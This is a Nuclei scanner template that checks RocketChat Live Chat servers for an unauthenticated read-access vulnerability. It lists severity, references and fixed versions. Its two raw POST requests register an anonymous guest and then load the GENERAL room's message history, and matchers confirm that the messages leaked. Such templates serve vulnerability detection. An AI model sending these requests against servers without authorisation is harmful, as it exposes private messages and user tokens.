id: rocketchat-unauth-access

info:
  name: RocketChat Live Chat - Unauthenticated Read Access
  author: rojanrijal
  severity: high
  description: RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens.
  reference:
    - https://docs.rocket.chat/guides/security/security-updates
    - https://securifyinc.com/disclosures/rocketchat-unauthenticated-access-to-messages
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-522
  remediation: Fixed in versions 3.11, 3.10.5, 3.9.7, and 3.8.8.
  tags: rocketchat,unauth

requests:
  - raw:
      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"name\":\"cve-2020-nuclei\",\"email\":\"cve@nuclei.local\"}],\"id\":\"123\"}"}

      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}

    matchers-condition: and
    matchers:

      - type: word
        part: body
        words:
          - '"{\"msg\":\"result\",\"result\":{\"messages\"'
          - '"success":true'
        condition: and

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/03